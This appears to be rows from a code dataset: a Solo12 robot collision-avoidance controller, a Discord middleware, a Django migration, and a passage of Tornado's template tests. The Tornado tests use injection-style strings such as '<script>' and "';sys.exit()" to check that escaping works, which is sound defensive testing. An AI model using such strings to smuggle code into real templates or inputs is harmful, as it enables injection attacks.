hexsha
stringlengths
40
40
size
int64
4
996k
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
996k
avg_line_length
float64
1.33
58.2k
max_line_length
int64
2
323k
alphanum_fraction
float64
0
0.97
content_no_comment
stringlengths
0
946k
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f71f0026e3dbe9f832b36a3f578a89ccc56f0ac7
7,413
py
Python
minimal_controler.py
thibnoel/solopython
0977c6de8bcee2b8ecabaa46f6953e7a05334af1
[ "BSD-2-Clause" ]
null
null
null
minimal_controler.py
thibnoel/solopython
0977c6de8bcee2b8ecabaa46f6953e7a05334af1
[ "BSD-2-Clause" ]
null
null
null
minimal_controler.py
thibnoel/solopython
0977c6de8bcee2b8ecabaa46f6953e7a05334af1
[ "BSD-2-Clause" ]
null
null
null
# coding: utf8 from coll_avoidance_modules.solo_coll_wrapper_c import * from coll_avoidance_modules.collisions_controller import * from PA_utils_mpc import PyBulletSimulator import numpy as np import argparse # from solo12 import Solo12 # from pynput import keyboard from PA_logger import Logger # from utils.qualisysClient import QualisysClient import os import sys sys.path.insert(0, './mpctsid') DT = 0.002 key_pressed = False def on_press(key): """Wait for a specific key press on the keyboard Args: key (keyboard.Key): the key we want to wait for """ global key_pressed try: if key == keyboard.Key.enter: key_pressed = True # Stop listener return False except AttributeError: print('Unknown key {0} pressed'.format(key)) def put_on_the_floor(device, q_init): """Make the robot go to the default initial position and wait for the user to press the Enter key to start the main control loop Args: device (robot wrapper): a wrapper to communicate with the robot q_init (array): the default position of the robot """ global key_pressed key_pressed = False Kp_pos = 3. Kd_pos = 0.01 imax = 3.0 pos = np.zeros(device.nb_motors) for motor in range(device.nb_motors): pos[motor] = q_init[device.motorToUrdf[motor]] * \ device.gearRatioSigned[motor] listener = keyboard.Listener(on_press=on_press) listener.start() print("Put the robot on the floor and press Enter") while not key_pressed: device.UpdateMeasurment() for motor in range(device.nb_motors): ref = Kp_pos*(pos[motor] - device.hardware.GetMotor(motor).GetPosition() - Kd_pos*device.hardware.GetMotor(motor).GetVelocity()) ref = min(imax, max(-imax, ref)) device.hardware.GetMotor(motor).SetCurrentReference(ref) device.SendCommand(WaitEndOfCycle=True) print("Start the motion.") def mcapi_playback(name_interface, clib_path): """Main function that calibrates the robot, get it into a default waiting position then launch the main control loop once the user has pressed the Enter key Args: name_interface (string): name of the interface that is used to communicate with the robot """ ######################################### # PARAMETERS OF THE MPC-TSID CONTROLLER # ######################################### envID = 0 # Identifier of the environment to choose in which one the simulation will happen velID = 0 # Identifier of the reference velocity profile to choose which one will be sent to the robot dt_tsid = 0.0020 # Time step of TSID dt_mpc = 0.02 # Time step of the MPC # dt is dt_tsid, defined in the TSID controller script k_mpc = int(dt_mpc / dt_tsid) t = 0.0 # Time n_periods = 1 # Number of periods in the prediction horizon T_gait = 0.64 # Duration of one gait period N_SIMULATION = 20000 # number of simulated TSID time steps # If True the ground is flat, otherwise it has bumps use_flat_plane = True # Enable or disable PyBullet GUI enable_pyb_GUI = True # Default position after calibration #q_init = np.array([0.0, 0.8, -1.6, 0, 0.8, -1.6, # 0, -0.8, 1.6, 0, -0.8, 1.6]) q_init = [0,0,0,0,0,0,0,0] ############################################# # PARAMETERS OF THE COLL. AVOID. CONTROLLER # ############################################# ### Set collision avoidance parameters collision_threshold = 0.1 collision_kp = 10. collision_kv = 0.01 k_friction = 0.1 # Load the specified compiled C library cCollFun = CDLL(clib_path) emergency_dist_thresh = collision_threshold/5 emergency_tau_thresh = 3 emergencyFlag = False #### # Create device object # device = Solo12(name_interface, dt=DT) device = PyBulletSimulator() # qc = QualisysClient(ip="140.93.16.160", body_id=0) # QualisysClient # logger = Logger(device, qualisys=qc) # Logger object nb_motors = device.nb_motors # Calibrate encoders #device.Init(calibrateEncoders=True, q_init=q_init) device.Init(calibrateEncoders=True, q_init=q_init, envID=envID, use_flat_plane=use_flat_plane, enable_pyb_GUI=enable_pyb_GUI, dt=dt_tsid) # Wait for Enter input before starting the control loop # put_on_the_floor(device, q_init) # CONTROL LOOP *************************************************** t = 0.0 t_max = (N_SIMULATION-2) * dt_tsid while ((not device.hardware.IsTimeout()) and (t < t_max)): device.UpdateMeasurment() # Retrieve data from IMU and Motion capture # Desired torques tau_q = np.zeros(12) #tau_q = np.zeros(len(nb_motors)) #Check if the controller switched to emergency mode if(emergencyFlag): # Compute emergency behavior # Ex : tau_q = computeEmergencyTorque(device.v_mes, collision_kv) else: # Compute collisions distances and jacobians from the C lib. c_results = getLegsCollisionsResults(device.q_mes, cCollFun, nb_motors, 20) c_dist_legs = getLegsDistances(c_results, nb_motors, 20) c_Jlegs = getLegsJacobians(c_results, nb_motors, 20) # Compute collision avoidance torque tau_q = computeRepulsiveTorque(device.q_mes, device.v_mes, c_dist_legs, c_Jlegs, dist_thresh=collision_threshold, kp=collision_kp, kv=collision_kv) # Set a virtual friction torque to avoid divergence tau_q += -k_friction*device.v_mes # Set desired torques for the actuators device.SetDesiredJointTorque(tau_q) # Call logger # logger.sample(device, qualisys=qc) # Send command to the robot device.SendCommand(WaitEndOfCycle=True) if ((device.cpt % 1000) == 0): device.Print() t += DT # **************************************************************** # Whatever happened we send 0 torques to the motors. device.SetDesiredJointTorque([0]*nb_motors) device.SendCommand(WaitEndOfCycle=True) if device.hardware.IsTimeout(): print("Masterboard timeout detected.") print("Either the masterboard has been shut down or there has been a connection issue with the cable/wifi.") # Shut down the interface between the computer and the master board device.hardware.Stop() # Save the logs of the Logger object # logger.saveAll() def main(): """Main function """ parser = argparse.ArgumentParser( description='Playback trajectory to show the extent of solo12 workspace.') parser.add_argument('-i', '--interface', required=True, help='Name of the interface (use ifconfig in a terminal), for instance "enp1s0"') parser.add_argument('-C', '--clib', required=True, help='Path to the compiled C-generated library used for distance and jacobian evaluations, for instance "libcoll_legs8.so"') #example_script(parser.parse_args().interface, parser.parse_args().clib) mcapi_playback(parser.parse_args().interface, parser.parse_args().clib) if __name__ == "__main__": main()
34.004587
159
0.6351
from coll_avoidance_modules.solo_coll_wrapper_c import * from coll_avoidance_modules.collisions_controller import * from PA_utils_mpc import PyBulletSimulator import numpy as np import argparse from PA_logger import Logger import os import sys sys.path.insert(0, './mpctsid') DT = 0.002 key_pressed = False def on_press(key): global key_pressed try: if key == keyboard.Key.enter: key_pressed = True return False except AttributeError: print('Unknown key {0} pressed'.format(key)) def put_on_the_floor(device, q_init): global key_pressed key_pressed = False Kp_pos = 3. Kd_pos = 0.01 imax = 3.0 pos = np.zeros(device.nb_motors) for motor in range(device.nb_motors): pos[motor] = q_init[device.motorToUrdf[motor]] * \ device.gearRatioSigned[motor] listener = keyboard.Listener(on_press=on_press) listener.start() print("Put the robot on the floor and press Enter") while not key_pressed: device.UpdateMeasurment() for motor in range(device.nb_motors): ref = Kp_pos*(pos[motor] - device.hardware.GetMotor(motor).GetPosition() - Kd_pos*device.hardware.GetMotor(motor).GetVelocity()) ref = min(imax, max(-imax, ref)) device.hardware.GetMotor(motor).SetCurrentReference(ref) device.SendCommand(WaitEndOfCycle=True) print("Start the motion.") def mcapi_playback(name_interface, clib_path):
true
true
f71f00e65a4151c70e6c2c60982959a593e585b2
1,112
py
Python
pincer/middleware/guild_integrations_update.py
shivamdurgbuns/Pincer
aa27d6d65023ea62a2d0c09c1e9bc0fe4763e0c3
[ "MIT" ]
null
null
null
pincer/middleware/guild_integrations_update.py
shivamdurgbuns/Pincer
aa27d6d65023ea62a2d0c09c1e9bc0fe4763e0c3
[ "MIT" ]
null
null
null
pincer/middleware/guild_integrations_update.py
shivamdurgbuns/Pincer
aa27d6d65023ea62a2d0c09c1e9bc0fe4763e0c3
[ "MIT" ]
null
null
null
# Copyright Pincer 2021-Present # Full MIT License can be found in `LICENSE` at the project root. """sent when a guild integration is updated.""" from ..core.dispatch import GatewayDispatch from ..objects.events.guild import GuildIntegrationsUpdateEvent from ..utils import Coro from ..utils.conversion import construct_client_dict async def guild_integrations_update_middleware(self, payload: GatewayDispatch): """|coro| Middleware for ``on_guild_integrations_update`` event. Parameters ---------- payload : :class:`~pincer.core.dispatch.GatewayDispatch` The data received from the guild integrations update event. Returns ------- Tuple[:class:`str`, :class:`~pincer.objects.events.guild.GuildIntegrationsUpdateEvent`] ``on_guild_integration_update`` and a ``GuildIntegrationsUpdateEvent`` """ # noqa: E501 return ( "on_guild_integrations_update", GuildIntegrationsUpdateEvent.from_dict( construct_client_dict(self, payload.data) ) ) def export() -> Coro: return guild_integrations_update_middleware
29.263158
91
0.717626
from ..core.dispatch import GatewayDispatch from ..objects.events.guild import GuildIntegrationsUpdateEvent from ..utils import Coro from ..utils.conversion import construct_client_dict async def guild_integrations_update_middleware(self, payload: GatewayDispatch): return ( "on_guild_integrations_update", GuildIntegrationsUpdateEvent.from_dict( construct_client_dict(self, payload.data) ) ) def export() -> Coro: return guild_integrations_update_middleware
true
true
f71f03689a16c5f974779067cfd512bb47598768
3,725
py
Python
users/migrations/0001_initial.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
users/migrations/0001_initial.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
9
2020-03-27T10:33:35.000Z
2022-03-12T00:20:47.000Z
users/migrations/0001_initial.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
# Generated by Django 2.1.15 on 2020-03-25 20:14 import django.contrib.auth.models import django.contrib.auth.validators from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='CustomUser', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), ('first_name', models.CharField(blank=True, max_length=30, verbose_name='first name')), ('last_name', models.CharField(blank=True, max_length=150, verbose_name='last name')), ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), ('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')), ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), ('group_membership', models.CharField(choices=[('0', 'I want to help'), ('1', 'I need help'), ('2', 'Inactive (invisible to others)')], default=2, max_length=1)), ('map_show_location', models.CharField(choices=[('0', 'rough'), ('1', 'exact')], default=0, max_length=1)), ('street', models.CharField(blank=True, max_length=100)), ('city_name', models.CharField(blank=True, max_length=100)), ('zip_code', models.IntegerField(blank=True, default=0)), ('longitude', models.FloatField(blank=True, default=42, null=True)), ('latitude', models.FloatField(blank=True, default=52, null=True)), ('slogan', models.CharField(blank=True, max_length=100)), ('description', models.CharField(blank=True, max_length=100)), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', 'abstract': False, }, managers=[ ('objects', django.contrib.auth.models.UserManager()), ], ), ]
68.981481
329
0.646443
import django.contrib.auth.models import django.contrib.auth.validators from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='CustomUser', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username')), ('first_name', models.CharField(blank=True, max_length=30, verbose_name='first name')), ('last_name', models.CharField(blank=True, max_length=150, verbose_name='last name')), ('email', models.EmailField(blank=True, max_length=254, verbose_name='email address')), ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), ('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')), ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), ('group_membership', models.CharField(choices=[('0', 'I want to help'), ('1', 'I need help'), ('2', 'Inactive (invisible to others)')], default=2, max_length=1)), ('map_show_location', models.CharField(choices=[('0', 'rough'), ('1', 'exact')], default=0, max_length=1)), ('street', models.CharField(blank=True, max_length=100)), ('city_name', models.CharField(blank=True, max_length=100)), ('zip_code', models.IntegerField(blank=True, default=0)), ('longitude', models.FloatField(blank=True, default=42, null=True)), ('latitude', models.FloatField(blank=True, default=52, null=True)), ('slogan', models.CharField(blank=True, max_length=100)), ('description', models.CharField(blank=True, max_length=100)), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', 'abstract': False, }, managers=[ ('objects', django.contrib.auth.models.UserManager()), ], ), ]
true
true
f71f03785f8115503091745a9d96b1e53cf9430e
18,668
py
Python
tornado/test/template_test.py
DengJackNo1/tornado
895a4fa69817c24fbf6ada6c5fb07351c6e91cd5
[ "Apache-2.0" ]
15,056
2015-01-01T03:08:16.000Z
2022-03-31T14:44:56.000Z
tornado/test/template_test.py
DengJackNo1/tornado
895a4fa69817c24fbf6ada6c5fb07351c6e91cd5
[ "Apache-2.0" ]
1,645
2015-01-05T08:15:32.000Z
2022-03-24T20:30:10.000Z
tornado/test/template_test.py
DengJackNo1/tornado
895a4fa69817c24fbf6ada6c5fb07351c6e91cd5
[ "Apache-2.0" ]
5,098
2015-01-02T15:43:36.000Z
2022-03-30T06:04:43.000Z
import os import traceback import unittest from tornado.escape import utf8, native_str, to_unicode from tornado.template import Template, DictLoader, ParseError, Loader from tornado.util import ObjectDict import typing # noqa: F401 class TemplateTest(unittest.TestCase): def test_simple(self): template = Template("Hello {{ name }}!") self.assertEqual(template.generate(name="Ben"), b"Hello Ben!") def test_bytes(self): template = Template("Hello {{ name }}!") self.assertEqual(template.generate(name=utf8("Ben")), b"Hello Ben!") def test_expressions(self): template = Template("2 + 2 = {{ 2 + 2 }}") self.assertEqual(template.generate(), b"2 + 2 = 4") def test_comment(self): template = Template("Hello{# TODO i18n #} {{ name }}!") self.assertEqual(template.generate(name=utf8("Ben")), b"Hello Ben!") def test_include(self): loader = DictLoader( { "index.html": '{% include "header.html" %}\nbody text', "header.html": "header text", } ) self.assertEqual( loader.load("index.html").generate(), b"header text\nbody text" ) def test_extends(self): loader = DictLoader( { "base.html": """\ <title>{% block title %}default title{% end %}</title> <body>{% block body %}default body{% end %}</body> """, "page.html": """\ {% extends "base.html" %} {% block title %}page title{% end %} {% block body %}page body{% end %} """, } ) self.assertEqual( loader.load("page.html").generate(), b"<title>page title</title>\n<body>page body</body>\n", ) def test_relative_load(self): loader = DictLoader( { "a/1.html": "{% include '2.html' %}", "a/2.html": "{% include '../b/3.html' %}", "b/3.html": "ok", } ) self.assertEqual(loader.load("a/1.html").generate(), b"ok") def test_escaping(self): self.assertRaises(ParseError, lambda: Template("{{")) self.assertRaises(ParseError, lambda: Template("{%")) self.assertEqual(Template("{{!").generate(), b"{{") self.assertEqual(Template("{%!").generate(), b"{%") self.assertEqual(Template("{#!").generate(), b"{#") self.assertEqual( Template("{{ 'expr' }} {{!jquery expr}}").generate(), b"expr {{jquery expr}}", ) def test_unicode_template(self): template = Template(utf8(u"\u00e9")) self.assertEqual(template.generate(), utf8(u"\u00e9")) def test_unicode_literal_expression(self): # Unicode literals should be usable in templates. Note that this # test simulates unicode characters appearing directly in the # template file (with utf8 encoding), i.e. \u escapes would not # be used in the template file itself. template = Template(utf8(u'{{ "\u00e9" }}')) self.assertEqual(template.generate(), utf8(u"\u00e9")) def test_custom_namespace(self): loader = DictLoader( {"test.html": "{{ inc(5) }}"}, namespace={"inc": lambda x: x + 1} ) self.assertEqual(loader.load("test.html").generate(), b"6") def test_apply(self): def upper(s): return s.upper() template = Template(utf8("{% apply upper %}foo{% end %}")) self.assertEqual(template.generate(upper=upper), b"FOO") def test_unicode_apply(self): def upper(s): return to_unicode(s).upper() template = Template(utf8(u"{% apply upper %}foo \u00e9{% end %}")) self.assertEqual(template.generate(upper=upper), utf8(u"FOO \u00c9")) def test_bytes_apply(self): def upper(s): return utf8(to_unicode(s).upper()) template = Template(utf8(u"{% apply upper %}foo \u00e9{% end %}")) self.assertEqual(template.generate(upper=upper), utf8(u"FOO \u00c9")) def test_if(self): template = Template(utf8("{% if x > 4 %}yes{% else %}no{% end %}")) self.assertEqual(template.generate(x=5), b"yes") self.assertEqual(template.generate(x=3), b"no") def test_if_empty_body(self): template = Template(utf8("{% if True %}{% else %}{% end %}")) self.assertEqual(template.generate(), b"") def test_try(self): template = Template( utf8( """{% try %} try{% set y = 1/x %} {% except %}-except {% else %}-else {% finally %}-finally {% end %}""" ) ) self.assertEqual(template.generate(x=1), b"\ntry\n-else\n-finally\n") self.assertEqual(template.generate(x=0), b"\ntry-except\n-finally\n") def test_comment_directive(self): template = Template(utf8("{% comment blah blah %}foo")) self.assertEqual(template.generate(), b"foo") def test_break_continue(self): template = Template( utf8( """\ {% for i in range(10) %} {% if i == 2 %} {% continue %} {% end %} {{ i }} {% if i == 6 %} {% break %} {% end %} {% end %}""" ) ) result = template.generate() # remove extraneous whitespace result = b"".join(result.split()) self.assertEqual(result, b"013456") def test_break_outside_loop(self): try: Template(utf8("{% break %}")) raise Exception("Did not get expected exception") except ParseError: pass def test_break_in_apply(self): # This test verifies current behavior, although of course it would # be nice if apply didn't cause seemingly unrelated breakage try: Template( utf8("{% for i in [] %}{% apply foo %}{% break %}{% end %}{% end %}") ) raise Exception("Did not get expected exception") except ParseError: pass @unittest.skip("no testable future imports") def test_no_inherit_future(self): # TODO(bdarnell): make a test like this for one of the future # imports available in python 3. Unfortunately they're harder # to use in a template than division was. # This file has from __future__ import division... self.assertEqual(1 / 2, 0.5) # ...but the template doesn't template = Template("{{ 1 / 2 }}") self.assertEqual(template.generate(), "0") def test_non_ascii_name(self): loader = DictLoader({u"t\u00e9st.html": "hello"}) self.assertEqual(loader.load(u"t\u00e9st.html").generate(), b"hello") class StackTraceTest(unittest.TestCase): def test_error_line_number_expression(self): loader = DictLoader( { "test.html": """one two{{1/0}} three """ } ) try: loader.load("test.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# test.html:2" in traceback.format_exc()) def test_error_line_number_directive(self): loader = DictLoader( { "test.html": """one two{%if 1/0%} three{%end%} """ } ) try: loader.load("test.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# test.html:2" in traceback.format_exc()) def test_error_line_number_module(self): loader = None # type: typing.Optional[DictLoader] def load_generate(path, **kwargs): assert loader is not None return loader.load(path).generate(**kwargs) loader = DictLoader( {"base.html": "{% module Template('sub.html') %}", "sub.html": "{{1/0}}"}, namespace={"_tt_modules": ObjectDict(Template=load_generate)}, ) try: loader.load("base.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: exc_stack = traceback.format_exc() self.assertTrue("# base.html:1" in exc_stack) self.assertTrue("# sub.html:1" in exc_stack) def test_error_line_number_include(self): loader = DictLoader( {"base.html": "{% include 'sub.html' %}", "sub.html": "{{1/0}}"} ) try: loader.load("base.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# sub.html:1 (via base.html:1)" in traceback.format_exc()) def test_error_line_number_extends_base_error(self): loader = DictLoader( {"base.html": "{{1/0}}", "sub.html": "{% extends 'base.html' %}"} ) try: loader.load("sub.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: exc_stack = traceback.format_exc() self.assertTrue("# base.html:1" in exc_stack) def test_error_line_number_extends_sub_error(self): loader = DictLoader( { "base.html": "{% block 'block' %}{% end %}", "sub.html": """ {% extends 'base.html' %} {% block 'block' %} {{1/0}} {% end %} """, } ) try: loader.load("sub.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue("# sub.html:4 (via base.html:1)" in traceback.format_exc()) def test_multi_includes(self): loader = DictLoader( { "a.html": "{% include 'b.html' %}", "b.html": "{% include 'c.html' %}", "c.html": "{{1/0}}", } ) try: loader.load("a.html").generate() self.fail("did not get expected exception") except ZeroDivisionError: self.assertTrue( "# c.html:1 (via b.html:1, a.html:1)" in traceback.format_exc() ) class ParseErrorDetailTest(unittest.TestCase): def test_details(self): loader = DictLoader({"foo.html": "\n\n{{"}) with self.assertRaises(ParseError) as cm: loader.load("foo.html") self.assertEqual("Missing end expression }} at foo.html:3", str(cm.exception)) self.assertEqual("foo.html", cm.exception.filename) self.assertEqual(3, cm.exception.lineno) def test_custom_parse_error(self): # Make sure that ParseErrors remain compatible with their # pre-4.3 signature. self.assertEqual("asdf at None:0", str(ParseError("asdf"))) class AutoEscapeTest(unittest.TestCase): def setUp(self): self.templates = { "escaped.html": "{% autoescape xhtml_escape %}{{ name }}", "unescaped.html": "{% autoescape None %}{{ name }}", "default.html": "{{ name }}", "include.html": """\ escaped: {% include 'escaped.html' %} unescaped: {% include 'unescaped.html' %} default: {% include 'default.html' %} """, "escaped_block.html": """\ {% autoescape xhtml_escape %}\ {% block name %}base: {{ name }}{% end %}""", "unescaped_block.html": """\ {% autoescape None %}\ {% block name %}base: {{ name }}{% end %}""", # Extend a base template with different autoescape policy, # with and without overriding the base's blocks "escaped_extends_unescaped.html": """\ {% autoescape xhtml_escape %}\ {% extends "unescaped_block.html" %}""", "escaped_overrides_unescaped.html": """\ {% autoescape xhtml_escape %}\ {% extends "unescaped_block.html" %}\ {% block name %}extended: {{ name }}{% end %}""", "unescaped_extends_escaped.html": """\ {% autoescape None %}\ {% extends "escaped_block.html" %}""", "unescaped_overrides_escaped.html": """\ {% autoescape None %}\ {% extends "escaped_block.html" %}\ {% block name %}extended: {{ name }}{% end %}""", "raw_expression.html": """\ {% autoescape xhtml_escape %}\ expr: {{ name }} raw: {% raw name %}""", } def test_default_off(self): loader = DictLoader(self.templates, autoescape=None) name = "Bobby <table>s" self.assertEqual( loader.load("escaped.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("unescaped.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("default.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("include.html").generate(name=name), b"escaped: Bobby &lt;table&gt;s\n" b"unescaped: Bobby <table>s\n" b"default: Bobby <table>s\n", ) def test_default_on(self): loader = DictLoader(self.templates, autoescape="xhtml_escape") name = "Bobby <table>s" self.assertEqual( loader.load("escaped.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("unescaped.html").generate(name=name), b"Bobby <table>s" ) self.assertEqual( loader.load("default.html").generate(name=name), b"Bobby &lt;table&gt;s" ) self.assertEqual( loader.load("include.html").generate(name=name), b"escaped: Bobby &lt;table&gt;s\n" b"unescaped: Bobby <table>s\n" b"default: Bobby &lt;table&gt;s\n", ) def test_unextended_block(self): loader = DictLoader(self.templates) name = "<script>" self.assertEqual( loader.load("escaped_block.html").generate(name=name), b"base: &lt;script&gt;", ) self.assertEqual( loader.load("unescaped_block.html").generate(name=name), b"base: <script>" ) def test_extended_block(self): loader = DictLoader(self.templates) def render(name): return loader.load(name).generate(name="<script>") self.assertEqual(render("escaped_extends_unescaped.html"), b"base: <script>") self.assertEqual( render("escaped_overrides_unescaped.html"), b"extended: &lt;script&gt;" ) self.assertEqual( render("unescaped_extends_escaped.html"), b"base: &lt;script&gt;" ) self.assertEqual( render("unescaped_overrides_escaped.html"), b"extended: <script>" ) def test_raw_expression(self): loader = DictLoader(self.templates) def render(name): return loader.load(name).generate(name='<>&"') self.assertEqual( render("raw_expression.html"), b"expr: &lt;&gt;&amp;&quot;\n" b'raw: <>&"' ) def test_custom_escape(self): loader = DictLoader({"foo.py": "{% autoescape py_escape %}s = {{ name }}\n"}) def py_escape(s): self.assertEqual(type(s), bytes) return repr(native_str(s)) def render(template, name): return loader.load(template).generate(py_escape=py_escape, name=name) self.assertEqual(render("foo.py", "<html>"), b"s = '<html>'\n") self.assertEqual(render("foo.py", "';sys.exit()"), b"""s = "';sys.exit()"\n""") self.assertEqual( render("foo.py", ["not a string"]), b"""s = "['not a string']"\n""" ) def test_manual_minimize_whitespace(self): # Whitespace including newlines is allowed within template tags # and directives, and this is one way to avoid long lines while # keeping extra whitespace out of the rendered output. loader = DictLoader( { "foo.txt": """\ {% for i in items %}{% if i > 0 %}, {% end %}{# #}{{i }}{% end %}""" } ) self.assertEqual( loader.load("foo.txt").generate(items=range(5)), b"0, 1, 2, 3, 4" ) def test_whitespace_by_filename(self): # Default whitespace handling depends on the template filename. loader = DictLoader( { "foo.html": " \n\t\n asdf\t ", "bar.js": " \n\n\n\t qwer ", "baz.txt": "\t zxcv\n\n", "include.html": " {% include baz.txt %} \n ", "include.txt": "\t\t{% include foo.html %} ", } ) # HTML and JS files have whitespace compressed by default. self.assertEqual(loader.load("foo.html").generate(), b"\nasdf ") self.assertEqual(loader.load("bar.js").generate(), b"\nqwer ") # TXT files do not. self.assertEqual(loader.load("baz.txt").generate(), b"\t zxcv\n\n") # Each file maintains its own status even when included in # a file of the other type. self.assertEqual(loader.load("include.html").generate(), b" \t zxcv\n\n\n") self.assertEqual(loader.load("include.txt").generate(), b"\t\t\nasdf ") def test_whitespace_by_loader(self): templates = {"foo.html": "\t\tfoo\n\n", "bar.txt": "\t\tbar\n\n"} loader = DictLoader(templates, whitespace="all") self.assertEqual(loader.load("foo.html").generate(), b"\t\tfoo\n\n") self.assertEqual(loader.load("bar.txt").generate(), b"\t\tbar\n\n") loader = DictLoader(templates, whitespace="single") self.assertEqual(loader.load("foo.html").generate(), b" foo\n") self.assertEqual(loader.load("bar.txt").generate(), b" bar\n") loader = DictLoader(templates, whitespace="oneline") self.assertEqual(loader.load("foo.html").generate(), b" foo ") self.assertEqual(loader.load("bar.txt").generate(), b" bar ") def test_whitespace_directive(self): loader = DictLoader( { "foo.html": """\ {% whitespace oneline %} {% for i in range(3) %} {{ i }} {% end %} {% whitespace all %} pre\tformatted """ } ) self.assertEqual( loader.load("foo.html").generate(), b" 0 1 2 \n pre\tformatted\n" ) class TemplateLoaderTest(unittest.TestCase): def setUp(self): self.loader = Loader(os.path.join(os.path.dirname(__file__), "templates")) def test_utf8_in_file(self): tmpl = self.loader.load("utf8.html") result = tmpl.generate() self.assertEqual(to_unicode(result).strip(), u"H\u00e9llo")
34.763501
87
0.558871
import os import traceback import unittest from tornado.escape import utf8, native_str, to_unicode from tornado.template import Template, DictLoader, ParseError, Loader from tornado.util import ObjectDict import typing class TemplateTest(unittest.TestCase): def test_simple(self): template = Template("Hello {{ name }}!") self.assertEqual(template.generate(name="Ben"), b"Hello Ben!") def test_bytes(self): template = Template("Hello {{ name }}!") self.assertEqual(template.generate(name=utf8("Ben")), b"Hello Ben!") def test_expressions(self): template = Template("2 + 2 = {{ 2 + 2 }}") self.assertEqual(template.generate(), b"2 + 2 = 4") def test_comment(self): template = Template("Hello{# TODO i18n #} {{ name }}!") self.assertEqual(template.generate(name=utf8("Ben")), b"Hello Ben!") def test_include(self): loader = DictLoader( { "index.html": '{% include "header.html" %}\nbody text', "header.html": "header text", } ) self.assertEqual( loader.load("index.html").generate(), b"header text\nbody text" ) def test_extends(self): loader = DictLoader( { "base.html": """\ <title>{% block title %}default title{% end %}</title> <body>{% block body %}default body{% end %}</body> """, "page.html": """\ {% extends "base.html" %} {% block title %}page title{% end %} {% block body %}page body{% end %} """, } ) self.assertEqual( 